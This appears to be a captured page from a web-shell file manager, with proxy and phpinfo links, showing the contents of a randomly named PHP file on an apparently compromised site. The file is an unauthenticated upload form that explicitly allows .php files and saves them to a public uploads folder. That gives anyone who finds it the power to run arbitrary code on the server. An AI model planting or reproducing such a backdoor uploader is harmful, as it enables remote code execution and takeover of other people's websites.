File manager - Edit - C:/inetpub/vhosts/alsawaripharma.com/icte-dubai.com/cz9m71.php
Back
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0.11 |
proxy
|
phpinfo
|
Settings